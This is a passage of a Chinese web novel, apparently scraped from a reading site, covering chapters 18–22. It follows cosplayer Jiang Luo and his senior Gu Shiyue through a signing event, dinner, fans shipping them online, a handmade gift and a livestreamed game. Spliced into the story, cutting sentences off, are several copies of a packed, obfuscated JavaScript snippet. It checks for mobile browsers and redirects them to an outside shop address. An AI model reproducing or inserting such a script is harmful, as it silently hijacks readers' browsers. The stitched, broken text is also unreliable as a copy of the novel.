0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870274|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树旁边,他们都在等他。 顾时越在程嘉树后面,程嘉树一站起来把他挡住了,江洛走近了才看到他,两个人对视了一眼。 程嘉树今天还没跟江洛说上话呢,他走上前用手指勾了一下江洛耳朵上的银环:“这一耳朵的环儿……真够骚气的啊。” 戚雪影笑着说:“人家形象设定就那样,朋克美少年。” 顾时越沉默地看着他们,看程嘉树用手指拨弄着江洛耳朵上的耳环和他脸侧的银链。 江洛目光一直落在顾时越的方向,叫了一声:“学长。” 顾时越“嗯”了一声,看了一眼他身后的江晨。这个男生的眉眼跟江洛有几分相似,他眼睛一眨不眨地看着顾时越。 江洛转头看了眼江晨,跟顾时越介绍:“这是我弟弟江晨。” 顾时越点了点头。 戚雪影知道江洛有个弟弟,今天她是第一次见到本人。江洛跟江晨介绍了一下顾时越和戚雪影,江晨礼貌地跟他们打招呼:“你们好。” 介绍完人,江洛就看向了顾时越:“学长……刚才到底是什么情况啊?” 戚雪影在一旁垂眼笑着,江洛看了她一眼,其实已经猜到个七七八八:“不会是影总抢了票,让你排的队吧?” 戚雪影笑出声来:“怎么这么聪明啊。” “我就知道。”江洛笑了,“除了这个可能其他的我也猜不到了。” 江洛刚才琢磨了一下就猜到应该是这么回事,他纳闷的不是戚雪影让顾时越帮忙排队,他纳闷的是顾时越竟然会答应帮戚雪影排队。 “吓一跳吧?”戚雪影笑着问他。 “哪里是吓一跳……吓了七八十来跳。” “那不是你叫顾学长来的么。”戚雪影眨眨眼睛,“他来了都见不着你,我就把我的票给他了,你看这不是近距离看到了?不是挺好?” 说实话江洛当初邀请顾时越来漫展也没想到签售现场会有这么多人,除了排队的,旁边围观的也很多,把他那儿一圈都围住了,外围根本看不到他。而且他当初问顾时越会不会来看他也是随口一问,毕竟最开始他邀请顾时越并不是为了让他来看自己,只是问他有没有兴趣逛漫展。 江洛垂在身侧的手指在裤子上轻轻蹭了一下,瞄了顾时越一眼,小声说:“我没有一定要他来看我。” “那我就不知道了。”戚雪影两手一摊,“票是顾学长亲手拿的,队也是他亲自排的,是他要看你,可不是我逼的,跟我没关系噢。” 程嘉树完全状况外,听得稀里糊涂的,他无心听他们闲聊,现在只想干饭:“你们有什么话一会儿再聊吧,能不能先去吃饭,我饿得不行了。再饿一会儿我走不动路了。” “嗯嗯。”江洛连忙点头,“今天我请客,你们想吃什么?” “我要吃火锅。”程嘉树毫不客气道。 江洛想着顾时越可能不爱吃火锅,说:“要不换个吧?” “为什么?”程嘉树问,“这里谁不吃火锅吗?” 江洛看了顾时越一眼:“学长,你吃火锅吗?” “都行。”顾时越说。 “好,那就吃火锅。” “走走走。”程嘉树拎起包就走。 顾时越站了起来,走到江洛旁边的时候突然问了一句:“不要我来看你?” 江洛脚步一顿,转头看向他。 坏事儿了。 说错话了。 19.第 19 章 “要的要的。”江洛赶紧说。 顾时越没接话,径自往前走。 江洛加快步伐跟上他,转头眼巴巴地看着他:“学长,我没有不要你来。” 顾时越还是不说话。 江洛可怜巴巴地问:“你是不打算跟我说话了么学长。” 顾时越侧过头看了他一眼。 江洛抓住机会卖乖:“我可想你来看我了,真的。你今天过来我特别高兴。” “高兴?”顾时越挑眉,“不是吓了七八十来跳吗。” 江洛乐道:“吓完之后就高兴了,乐得找不着北了。你看我现在不挺乐的么。” “我看你是挺乐的,这么兴奋。”程嘉树在旁边接了一句,江洛在顾时越面前这个兴奋劲儿跟小狗似的,屁股后面安个尾巴都能当螺旋桨使。 “这么有意义的一天我兴奋一下不过分吧。”江洛说。 程嘉树连连点头:“不过分不过分,今儿个您干什么都不过分,上街果奔都行。” 江洛笑骂:“滚啊。” 江洛转过头看了顾时越一眼,靠近他小声问:“那我这算是哄好了吗学长?” “哄谁?”顾时越明知故问。 “你啊。”江洛笑了,用只有他俩才能听到的音量说,“不然谁还要我哄啊,我刚说那么多不都是为了哄你么。就我嘴笨,说话老给自己挖坑,跳坑里了还得爬出来哄人。” 顾时越心道你还嘴笨,谁能有你会说话。 “所以呢,我哄好了吗?”江洛问他。 顾时越没不高兴,也不需要哄,但不妨碍他喜欢听江洛说这些话。 “好了。”他说。 江洛嘿嘿一笑:“那就好。” “今天高兴吗?”顾时越忽然问他。 “高兴啊,特别高兴。” 顾时越点了下头:“嗯。” 江洛和程嘉树今天都出了cos,吃火锅怕假发和衣服沾上味道,就先回酒店卸了妆换了衣服,让顾时越和戚雪影先去店里点菜。江洛去哪儿江晨肯定都是跟着的,他跟江洛一起回了酒店。三个人到火锅店的时候,点的菜已经上齐了。 江洛胃口小,没吃多少就饱了,他跟个小孩似的,正餐吃不了多少,但有肚子吃小吃点心那些东西。服务员上了两盘巧克力口味的甜品,不知道谁点的,很合他口味。人家还在吃火锅,他已经放下筷子一个人坐那儿默默地吃点心了。 戚雪影笑着问江洛:“那个蛋糕好吃吗?” 江洛点点头:“好吃啊,你点的吗?” “不是。”戚雪影看了顾时越一眼,笑着说,“你学长点的。” “啊……”江洛有点意外,他看向顾时越,“你好会点,这个好好吃。” “可以再点。”顾时越说。 江洛笑了笑:“不用不用,再点吃不下了。” “我看你也没吃什么。”戚雪影笑了下,“这就吃不下了啊。” 程嘉树说:“他就这样,就爱吃这种小孩菜。你让他吃正餐他吃不了几口,让他吃零食小吃什么的就不一样了。是吧小晨?” 江晨点了点头:“嗯,是的。” 江洛笑了,事实确实如此,他无法辩驳,嘴硬道:“哪有啊……” 江晨接了一句:“有的。” 江洛一脸乖巧地看着坐在对面的顾时越:“我没有的,学长。” 顾时越淡淡道:“跟我说干什么。” “我要维护一下自己在学长面前的形象。” “不用维护,你在我面前的形象已经很明晰了。” 江洛绷不住笑了。 江洛低着头吸冰镇可乐,程嘉树往辣锅里下了盘活虾,虾一进锅还跳了两下,把锅里的辣油都溅出来了。江洛被辣油迷了下眼睛,闭上眼睛好一会儿都没缓过来。 他拿纸巾擦了擦眼睛,感觉眼里还是辣辣的。江晨看他低着头在揉眼睛,问了句:“是不是辣油溅眼睛里了?” “啊。”江洛闭着一只眼,“没事,一会儿就好了。” 江洛越揉越不舒服,眼里有很明显的异物感。顾时越坐对面看着他:“别一直揉。” 江洛听话地把手放下,他眨眨眼睛,眼球有点泛红。顾时越皱了下眉,江洛嘟囔了一句:“我感觉我眼睛里有东西……” “我看看。”程嘉树转过身来,江洛脸朝着他,睁大了那只被辣油溅到的眼睛。 程嘉树凑近了看他的眼睛,发现眼皮底下沾着一片很小的辣椒片:“还真有东西。” 程嘉树抽了张餐巾纸,折成细条状想帮江洛把眼睛里的辣椒片挑出来,纸巾一碰到江洛的眼球他就下意识往后缩。 “你别动。”程嘉树直接扣住了他的脖子不让他躲,两人几乎脸对脸,最后终于把辣椒片弄出来了。 江洛眨眨眼睛,终于舒服了。 戚雪影端起桌上的柠檬水喝了一口,说笑道:“你俩有点暧昧了啊。” “我俩需要暧昧吗?”程嘉树一把环住江洛的脖子,笑得坏坏的,“我俩向来亲密无间。” 江洛早习惯了他这么抽风,笑着说:“你可算了,这话你敢当着林予的面说?你心不心虚?” “靠。”程嘉树骂了声,“他都出国了谁跟他亲密无间,早不记得这人了。” 顾时越面无表情地看着他们,放桌上的手机忽然响了,听到铃声江洛转头看了眼,对上了顾时越的目光。 顾时越垂眸扫了一眼手机屏幕,直接起身拿着手机出去了。 戚雪影眨眨眼睛,好奇道:“林予是谁?” 江洛笑着指指程嘉树:“他发小。” 吃完火锅江洛他们仨就回酒店了,江洛本来想带江晨去周边逛逛,江晨说不想逛,他们就直接回去了。 江洛本来以为江晨是太累了想回酒店休息,结果一回来这人洗好澡居然坐那儿刷起了卷子。 “你不累啊?”江洛笑着问他,“还有精力写卷子呢?” “带来的卷子都要写完,我都算好的。还有两张,今天晚上写完。” “服了你了。”江洛笑着搓搓他的头发,“那你写吧,我不打扰你了。” “嗯。” 江洛洗完澡往床上一趴,拿过床头的手机看了一眼,程嘉树发了条消息来:小晨干嘛呢? 江洛:做卷子。 程嘉树:????? 程嘉树:这是中文吗? 江洛:是的 江洛:问他干嘛?你找他有事? 程嘉树:我找他没事,我找你,咱俩去酒吧玩玩? 程嘉树:顾忌江小晨未成年,我刚没提,反正他在用功,你也没事干,去不去? 江洛:我不去 江洛:刚洗好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874757|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澡,不想出门 程嘉树:[再见] 江洛翻了个身,舒舒服服地躺在床上。他点开社交软件看了看,首页一刷新都是他今天签售会的互动视频和现场照片,他往下刷了刷,一眼扫过去竟然看到了顾时越的照片。 江洛目光不由得定住。 这篇帖子的标题还挺引流的——《洛c签售会这个男粉是认真的吗???》 江洛点进去看了眼,标题果然是欲扬先抑引流的,因为封面这张照片拍得太帅了,要嘴人不可能挂这么帅一张照片。正文内容也是夸的,满屏的“啊啊啊”。 【太帅了啊啊啊啊啊啊啊啊啊啊简直不敢相信我的眼睛居然能看到这么帅的男粉苍了个天是谁今天见了洛c又见了高颜值男粉原来是我啊哈哈哈哈哈哈哈哈哈我疯了啊啊啊啊啊啊哈哈哈哈哈哈#洛C##洛C首场签售会##漫展#】 江洛往后翻了翻照片,各种角度的都有,站着的,坐着的,真的很帅。这个贴主是用相机拍的,照片清晰度高,还很有质感。划到最后一张,竟然是顾时越的正脸照,这是在顾时越下台的时候拍的,顾时越当时应该看到了有人在拍他,目光是正视镜头的,冷冷的,不带任何情绪。 这张帅得太有冲击力了,江洛忍不住把这个帖子分享给了顾时越,发微信说:学长,我刷到了你的帅照! 转完帖子他才去看评论区。 -[置顶]原相机直出哦,没有修过一点。 -谁懂刷到最后一张带给我的冲击感[石化][石化][石化] -真的特别特别特别帅,本人比照片更帅,帅得人心惊的那种!这是苹果原相机[图片][图片][图片] -啊啊啊啊啊我在现场,这个帅哥跟洛宝之间的氛围有点微妙这是可以说的吗? -哈哈哈哈哈哈我笑死了,这个帅哥一上台我感觉洛c明显局促了,呆呆懵懵的,萌死我了,附图两张[图片][图片] -他俩互动真的太暧昧了…… -真的超暧昧啊我操,我的感觉不会错的,洛宝跟这个男粉绝对认识!!!! -不是你们也太能脑补了吧?就正常互动怎么就变暧昧了?明明是很正常的互动,而且互动时间很短,这个人很快就就下去了。你们不要看谁都是gay好不好,真的无语。 -真的很明显,这个帅哥一上台洛c整个人状态都不一样,反应都慢半拍,看他俩对视我都脸红[心心眼] -我在现场都快激动死了,明明他俩啥也没干[抽泣][抽泣][抽泣] -哈哈哈哈哈他跟洛洛合照的时候我看洛洛耳朵都红了,一秒红温 -是男粉还是男友我自有定论(bushi) 这个评论区越往下翻越不对劲,江洛蹭的一下坐了起来,握着手机心道“我靠”。 江晨听到动静回头看了他一眼。 江洛赶紧退出去点开了微信,这个评论区要是给顾时越看到那可完蛋了,全是嗑cp的,发言还这么大胆。他自己无所谓,顾时越肯定会觉得冒犯,谁乐意莫名其妙被人说是gay。 江洛迅速撤回了刚才转给顾时越的帖子,连带着发的消息也一起撤回了。 还好发过去还没超过两分钟,不然就撤不了了。 江洛松了口气,手机刚放下来就震了一下。 屏幕上弹出了顾时越的消息:? 20.第 20 章 顾时越刚看到消息,他只扫了眼帖子标题,还没点进去看。 江洛握着手机纠结老半天,最后含含糊糊地回了一句:我发错了,学长。 顾时越知道那两条消息就是发给他的,明知故问:不是发给我的? 江洛老老实实地回答:是发给你的,我不是发错人,是发错东西了。 看起来顾时越还没点开帖子看,江洛放下心来,乐呵呵地打字回复:没啥,不是什么重要的东西。 他以为随便打个哈哈这茬就揭过去了,没想到顾时越回了一句:重新发过来。 江洛:真的没什么重要的……不看也没事。 顾时越:是不重要还是不想让我看? 江洛被他问得心虚,不知道该怎么回复。顾时越那么聪明,他扯谎也没用,不如坦诚一点。 江洛:那我说是不想让你看,你可以不看么? 顾时越:不可以 江洛没招了,回了个[选择狗带]的表情包。 顾时越:说说看 顾时越:不想让我看的理由 江洛:评论区……太不正经了,我怕你看了不高兴。 顾时越:发过来 江洛只好把那条帖子重新转发了过去。 查看评论区需要下载软件,顾时越手机上没有这个软件,一点开帖子就跳转页面自动下载了。他对正文挂的那些自己的照片不感兴趣,只是好奇评论区到底有什么让江洛这么不想让他看到。 顾时越往下翻了翻评论区,扫了一眼。 江洛分享完帖子就没动静了,静悄悄的。 顾时越审判完评论区就退出去了,一退出去首页自动刷新,大数据发力,刷新出来的都是江洛签售会的相关帖子。 满屏的签售会互动视频,顾时越随手点开一个看了看。 ——【[/视频/]原视频直出,无p无滤镜无bgm,先前带节奏的黑粉可以闭嘴了哦。#洛C##洛C签售#】 顾时越扫了眼评论区。 -我操,声音这么好听…… -真的超级好听啊啊啊啊啊,我在现场差点没晕过去 -我的天啊,好权威的一张脸。。。。 -哈哈哈哈哈哈哈哈说等洛c见光死的打脸没? -真的特别帅,本人比照片还帅,而且妆化得很淡很自然,看得出来本身底子就特别好,唉,我又要戒断好久了。 -圈外人路过,请问一下这是哪个coser啊?有指路的吗? -本人超级真诚超级敬业的!全程都句句有回应,体验感超级好,我真的哭死,去过现场的就知道这次签售会有多值,已经在期待下一次签售了! -我们洛宝真的特别特别好[哭][哭][哭] 评论区有人发了江洛的账号ID,顾时越点进账号主页看了一眼。 江洛在这个平台的账号发的都是自己的cos照,几乎没什么日常贴,顾时越往下一翻还扫到几张双人cos照。 仔细看能看出来照片上的另一个人是程嘉树,这样的双人cos照江洛的主页有不少,并且基本都是跟程嘉树一起拍的。 一张动作亲密的双人照突然映入眼帘,顾时越视线停住,看着那张照片眯了一下眼睛。 江洛在正文里艾特了程嘉树,程嘉树的ID是“一棵假树”。这条帖子的点赞量非常高,评论区的发言也出奇的统一,往下一刷,一溜的“树洛99”,跟个暗号似的。 树洛99。 顾时越当然懂是什么意思。 江洛静悄悄,顾时越那边也静悄悄,帖子发过去有一会儿了,他什么话都没说,没回一条消息。江洛都怀疑是不是评论区给他整无语了,无语到他把自己给连坐了。 江洛不想被连坐,主动发了条消息过去:学长你还在不? 顾时越在他舅舅这儿,刚才趁他舅舅接电话的工夫才看了会儿手机,这会儿他正跟他舅舅说话,没有回江洛消息。 三分钟没收到顾时越的回复,江洛心里咯噔一下。 不会真被连坐了吧? 江洛又发了一条:学长? 还是没有回复。 江洛爬下床,握着手机在床边来回踱步,对话框里的字打了又删,删了又打。 最后发了一句:学长你怎么不理我了[苦涩]。 江洛在房间里兜圈子,捧着手机,眼睛直盯着屏幕,看起来坐立难安。江晨转头看他一眼:“哥,你怎么了?” “嗯?”江洛抬起头,“啊,没事,刚吃撑了,我消消食。” 江晨半信半疑,没多问:“哦。” “吵着你了吧,”江洛在床上坐下来,“我不瞎动了。” “没有。” “嗡”的一声,手机震了一下,江洛猛地坐直了。 顾时越:刚才没看手机 顾时越:怎么了? 江洛:你一直没回消息,我以为你把我给连坐了TvT 顾时越:做什么坏事了我要连坐你 江洛:没有呀,我没做坏事 江洛:我是怕你看了刚才那个帖子的评论区,一个不高兴连带着看我也不顺眼了,以后不跟我玩了[苦涩] 顾时越:我看起来很恐同吗,这么怕我不高兴。 江洛正打字,顾时越的消息又发了过来:还是说你恐同? 江洛看着屏幕愣住了。 江洛:我没有,我不恐同的。 顾时越没再说什么,只回了个“嗯”。 江洛呆呆地看着手机,有点被问懵了,两个人的对话没再继续下去。 江洛拿着手机呆坐许久,又点进刚才那个帖子看了一眼,他不在意网友拉郎配嗑cp,所以刚才看到评论区的第一反应是怕顾时越不高兴,没有去想为什么评论区风向会突然跑偏,那么多人莫名其妙地嗑起cp来。 他慢慢地往下翻看评论,刚才一扫而过的评论此刻一条条清晰地摆在他眼前—— “他俩互动真的太暧昧了……” 看到这条评论,江洛耳朵莫名红了,后知后觉地不好意思起来。 这什么啊…… 哪里暧昧了…… 江洛揉了揉耳朵,把手机往床头一扔,翻身往床上一趴,把被子卷到身上蒙住了脸。他裹着被子当了一会儿蚕蛹,安静半晌后突然从被子里探出半个头,出神地看着天花板。 江晨起身去洗手间,转身看见他哥在床上裹成一团。今天晚上他哥有点怪怪的,不知道是怎么了。 “哥,你干什么?”江晨走过去问,“这么裹着不热么?” 江洛看了他一眼:“小晨,我问你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877830|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个问题。” “什么?” “白天签售会,那个顾时越哥哥上台的时候,我的状态看起来……很奇怪吗?”他都不知道该怎么问,总不能直接问“我们俩互动是不是有点暧昧”吧? 江晨想了想,说:“有点。” “哪里奇怪?具体说一下。” 江晨白纸一张,脑子干净得像玻璃,自然也说不出个所以然来:“……说不清楚,不是你自己说被吓到了么。” “是啊……”江洛怔怔道,“我那是被吓得……” “哥,你今天怎么了?怪怪的。” “……我想太多乱七八糟的了。”江洛掀开被子下了床,“不想了。” 这次签售会江洛提前说了不收鲜花和礼物,所以粉丝送的都是信,满满一大包,江洛整理了一下,打算回家后再慢慢看。 江洛整理信的时候在包里看到一个礼物盒,这才想起来他忘记把这个给顾时越了,是他自己戳的一个羊毛毡小挂件,打算送给顾时越补做生日礼物的。今天事情太多,他给忙忘了。 江洛拿出了手机,点进顾时越的微信聊天界面。刚才两人的对话停留在有点尴尬的地方,这也是江洛今晚一直静不下心的原因,感觉人被吊在半空中上不去下不来。 要是这么一直尴尬着,他大概晚上都睡不好觉。 江洛想打破尴尬,就借着忘送礼物的由头给顾时越发了条微信,像平时那样,很自然地跟他闲聊。 江洛:学长,我今天忘记把礼物给你了=w= 顾时越过了一会儿才回:什么礼物? 江洛:补给你的生日礼物,我自己做的一个小玩意儿,本来想着你今天要是来漫展就顺便给你,结果我给忘了,只能假期后给你了=w= 顾时越:我过来拿 江洛:啊?现在?? 顾时越:我在外面,回去的时候路过你那边 顾时越:一小时后过来,到了给你发消息 刚才吃火锅的时候,顾时越接的那通电话是他舅舅的,他舅舅回来了,在这边有事情要办,会待几天。梁思恒回来短住一般都住固定酒店的顶层套房,比较方便,晚饭结束后,顾时越就一直在他这儿。 等顾时越的期间,江洛被程嘉树拉去他房间打游戏了,他的房间跟江洛在同一层,串门很方便。江洛想着顾时越还有一小时才到,就跟程嘉树玩了一局。 玩完一局,江洛下楼去拿烘干的衣服。他去拿衣服的当儿,程嘉树躺在床上困劲上来了,手机往旁边一扔,闭上眼没一会儿就睡着了。 江洛到楼下才发现他用的那个洗衣机烘干功能出了故障,洗好的衣服拿出来都还是湿的,搞得他只能换个洗衣机重新烘干。 顾时越提前到了,他给江洛发了条消息,等了一会儿没人回,就直接打了个语音电话过去。 程嘉树刚睡着没多久,听到手机铃声闭着眼在床头摸了摸,他迷迷糊糊的,没注意到这不是自己的手机,眯着眼睛胡乱点了一下屏幕,接通了电话。 “喂?”程嘉树的语气有点不耐烦,声音又带着刚睡醒的哑。 顾时越坐在车里,静默不语。 “谁啊?”程嘉树皱了皱眉,眼睛还闭着。 程嘉树的声音顾时越还是听得出来的,他面无表情地开口:“江洛呢。” 20-30 第21章 程嘉树一愣, 一下子没听出来是谁,他把手机拿到面前看了一眼,这才发现自己拿的是江洛的手机。 “喂越哥?”程嘉树坐起来接电话, “我程嘉树, 江洛他下去拿衣服了。” 顾时越“嗯”了一声。 程嘉树正想问“你找他什么事”,门铃就响了,江洛没带房卡,程嘉树去开门, 手机拿在手里没挂电话。 江洛一进门,程嘉树就把手机递给他:“越哥电话。” 江洛愣了一下, 随即睁大了眼睛:“这么快就到了?” “什么到了?”程嘉树一脸纳闷。 江洛赶紧接过手机:“喂学长?你到了?” “嗯。” “你在楼下吗?” “在。” 江洛说着走出房间, 回自己房间拿东西:“我马上下来, 你等我一会儿。” 程嘉树探出门问他:“什么情况啊?越哥在楼下?” 江洛回头“啊”了一声。 江洛拿上礼物匆匆下楼,出电梯来到酒店大堂的时候, 没看到门外有什么人, 他走出去看了一眼。 酒店门口停着一辆黑色轿车, 后座车窗半开着,顾时越坐在车里,侧脸笼罩在黑暗中,五官线条依旧清晰分明。可能是听到了脚步声, 顾时越忽然侧了下头, 对上了江洛的视线。 江洛叫了声“学长”, 顾时越打开车门, 司机没反应过来,等要下车帮他开门的时候顾时越已经下车了。 “我刚才在楼下拿衣服,没带手机。”江洛解释说,“没接到你电话, 你来得好快啊。” 江洛把手里的小礼物盒递给他,笑着说:“补给你的生日礼物,我自己做的一个小挂件,不是什么值钱的东西,但是礼轻情意重,嘿嘿。” 顾时越接过礼物盒,看着他说:“谢谢。” “不客气。” 江洛洗过澡了,穿着浅色的宽松T恤和运动裤,头发蓬松柔软,身上有股淡淡的浴液香味。 “手机怎么在程嘉树那?”顾时越问他,“跟他睡在一起?” “没有啊,我刚才在他那儿打游戏来着,手机落他房间了。”江洛说,“我跟我弟住一个房间。” “怎么了吗?”江洛眨了眨眼睛。 “没事。” 江洛瞄了一眼一旁穿着黑色西装的司机,小声问顾时越:“你是不是还有什么正事啊?” “没有。” “哦。”江洛点点头。 “明天什么时候回去?”顾时越问。 “晚上吧,我下午想带我弟去周边逛逛。” 夜里风大,江洛穿得单薄,被风吹得打了个喷嚏。 “回去吧。”顾时越说,“我走了。” “嗯嗯。” 司机走到车旁,微微躬身打开后座车门,顾时越坐进车里,江洛朝他挥挥手:“学长拜拜。” 顾时越看了他一眼,随后汽车扬长而去。 程嘉树不知道什么时候下来的,从后面拍了一下江洛的肩,把江洛吓了一跳:“你怎么下来了。” “我来看看怎么个事儿。”程嘉树朝远处看了一眼,只看到个豪车的车屁股,上次顾时越送他们回学校开的车也挺豪的,但不是这一辆,“越哥家庭条件可以啊,这么豪的车。” 江洛心道他住的房子也挺豪的。 “他过来干什么?”程嘉树问。 “来拿东西的。” “什么东西啊?还特意过来跑一趟?” “不告诉你。” “你这臭玩意儿……”程嘉树勒住江洛给他一个锁喉,“说不说?” 江洛笑得脸都红了:“不说。” 顾时越坐在车里,打开手里的礼物盒看了一眼。 盒子里装着一个Q版小人的羊毛毡挂件,Q版小人的头大大的,身子小小的,穿着一身黑色衣服,顶着一张冷脸,脸上还有两坨浅浅的腮红,头发是黑色的,头顶上趴着一只小小的布偶猫——这个Q版小人的形象特征很明显,一眼就能看出来是顾时越。 顾时越垂眼看着手里的挂件,拇指在小人脸上轻轻抚了一下。 江洛他们第二天下午四点多回了家,回去后三个人一起在外面吃了晚饭。江洛到家先洗了个澡,然后收拾了一下行李。程嘉树微信嘀嘀他,叫他打游戏。江洛收拾完行李才打开电脑上号,他现在不像初中那会儿那么爱打游戏,偶尔打基本都是陪程嘉树这个网瘾少年。 江洛刚上线程嘉树就秒拉他组队,两人开了队内语音,江洛还没开口,却听到程嘉树有一句没一句的不知道在跟谁说话。 江洛听了一会儿就反应过来了:“你在直播啊?” 程嘉树那边公屏上弹幕滚得飞快,都在说他拉的这个小哥哥声音好听。 程嘉树“啊”了一声,扫了眼弹幕说:“别小哥哥了,这你们老熟人,没听出来谁?” 江洛没在线上发过有自己声音的视频,这次线下签售活动粉丝们也是第一次听到他本人的声音。程嘉树在cos圈也有点名气,只是粉丝体量没江洛那么大,他经常跟江洛拍双人cos照,两人的粉丝群体是交叉的,在粉丝眼里两人是“基友”关系。 程嘉树一说这话弹幕里就有人问:“不会是洛c吧?” 程嘉树向江洛传达弹幕上的话:“他们问你是不是洛c。” 江洛笑着说:“是。” 弹幕卡了一下,随后迅速刷屏,满屏都是“啊啊啊啊啊啊”。 程嘉树以前从来没直播过,江洛有点纳闷:“你怎么突然搞直播了?” “播着玩呗。”程嘉树就是找找乐子,他连送礼功能都没开,也没在专业的游戏直播软件上直播,“我新入的设备,试试效果。” 江洛打游戏的时候没看手机,玩完一局才拿起手机看了一眼,顾时越十几分钟前发了条消息来:到家没有? 顾时越很少主动给他发消息,他居然还没及时回复。 江洛赶紧打字回消息:到了到了,我刚才在跟人打游戏,没有看手机。 顾时越在跑步机上跑步,放在支架上的手机震了一下,他抬了下眼皮,看了眼屏幕上的消息。 顾时越拿起手机,单手打字:跟谁打游戏,程嘉树? 江洛:是啊~ 江洛:嘿嘿你怎么知道 顾时越不仅知道江洛在跟程嘉树打游戏,他还知道程嘉树在直播。 半小时前,程嘉树刚开播的时候,顾时越手机上就收到了平台推送的开播通知。他不知道自己什么时候关注了程嘉树的账号,可能是昨天看帖子的时候不小心误触的。 江洛:学长你找我有事吗? 顾时越:没有。 江洛:嗷嗷好吧,那我去打游戏了~ 顾时越按了一下跑步机上的按钮,跑步机缓缓停了下来。他拿上手机走去厨房,打开冰箱拿了瓶矿泉水,拧开瓶盖仰头喝了一口。 顾时越拎着矿泉水瓶,另一只手拿着手机,手指在屏幕上划了一下,拉下通知栏,点进了刚才的开播推送。 顾时越一进直播间就听到了江洛的声音:“过来了,右边窗户。” 话音刚落,就响起一阵枪响,随后屏幕上弹出了击杀播报。 程嘉树说:“早跟你们说了吧,他打游戏很厉害的。” 程嘉树瞄了眼弹幕,笑着挑了下眉:“比我那还是差了点的,是吧,洛c老师?” 江洛一边舔包一边说:“那可说不准。” “哟呵。”程嘉树被挑起了胜负欲,“那这把比比,看谁击杀数多。” 江洛笑着说:“行。” “输了怎么说?总得有点惩罚吧。” “你说。” 程嘉树憋着坏:“谁输了下次出cos就出女装。” 江洛想了想,答应道:“行。” 弹幕直接疯了,刷屏快得程嘉树都看不清,他说了一句:“怎么样我够意思吧,这可是给你们谋的福利。” 程嘉树和江洛是圈内好友是众所周知的事,两人经常一起出cos,线上互动又多,磕他俩的cp粉不少,并且基本上都集中在今天看直播的观众里了,程嘉树此话一出,弹幕整齐地刷起了队形——- 你说到底是谁想看洛c女装反正不是我- 你说到底是谁想看洛c女装反正不是我- 你说到底是谁想看洛c女装反正不是我- 你说到底是谁想看洛c女装反正不是我。 …… 顾时越看着屏幕上齐刷刷的弹幕,眯着眼睛喝了口水。 程嘉树直不楞登的,什么话都往外说:“他女装我早看过了。” 弹幕又疯了一片。 顾时越退出了直播间,拎着矿泉水瓶回了健身室。他打开跑步机重新开始跑步,设置了二十分钟。 二十分钟一到,顾时越走下跑步机,重新进程嘉树的直播间看了看,刚才那局刚刚结束。 这把江洛跟程嘉树比输了,就差一点点。他倒是没什么负担,穿女装对他来说不是什么羞耻的事,他初中就出过女装cos了。 弹幕简直可以用“锣鼓喧天鞭炮齐鸣”来形容,程嘉树乐得不行,问江洛:“有什么感想啊洛老师?” 江洛淡定地喝了口水:“愿赌服输。” 话音未落,放在桌上的手机忽然震了起来,江洛垂眼一看,立马不淡定了,直接被水呛到。 看到来电显示是顾时越,江洛没管程嘉树那边还在直播,条件反射地拿起手机接通了电话。 江洛被水呛得还在咳嗽:“咳咳、咳……学长。” “怎么了?”顾时越问。 “被水呛了一下,没事。”江洛一跟顾时越讲话声音就自动软下来,说不上夹,就是听着很乖,“你怎么突然打电话给我,是有什么事吗?” “问问你游戏打完没有。” 程嘉树那边弹幕飞速滚动,风向已然跑偏- 嗯嗯嗯嗯?洛宝在跟谁说话?- 学长!我听到他叫了一声学长!- 什么什么?不是在跟大树说话吗?- 醒醒,你洛从来没用这么软的语气跟你树说过话- 我靠宝宝你怎么突然夹子音……- 哈哈哈哈哈哈哈哈哈哈哈哈夹子音笑死我了- 别胡说,我崽正常声线就这样,我可是去过签售现场听过本尊声音的人[doge] 江洛那边看不到弹幕,他还在跟顾时越通电话:“我刚打完一局,怎么啦?” “好玩吗?”顾时越一边说话一边往浴室方向走。 江洛被他问得有点懵:“还……不错,怎么啦学长?” 顾时越“嗯”了声,漫不经心道:“早点睡觉。” 第22章 江洛“嗯嗯”两声, 立马应道:“我再陪他打一局就不打了,一会儿就去睡觉。” 程嘉树不乐意了:“诶诶,你才陪我打了多久, 就要去睡觉?” “我晕3D。”江洛回他, “打得我头晕,我要休息了。” “放你的屁。”程嘉树气笑了,江洛一叫“学长”他就知道打电话来的是顾时越,“你哪时候又晕3D了?越哥让你睡觉你就睡觉, 怎么从没见你这么听过我的话?” 弹幕好不热闹,都在问“越哥”是谁, 还调侃程嘉树吃“越哥”的醋。 程嘉树扫了眼弹幕, 回粉丝说:“我吃什么醋, 我眼里只有对打游戏的渴望。”他没说越哥是谁,这种涉及别人隐私的问题他直接略过。 顾时越在电话那头对江洛说:“你玩吧, 挂了。” “学长你……没有其他事吗?” “没有。” 江洛“噢”了声, 跟他说:“我会早点睡的。” “嗯。” 电话挂断, 江洛还有点犯迷糊,顾时越突然打电话过来居然只是提醒他早点睡觉。 江洛好半天没出声,愣愣地看着手机屏幕,程嘉树“哎哎”两声:“人呢?” 江洛回过神, 应了声:“在。” 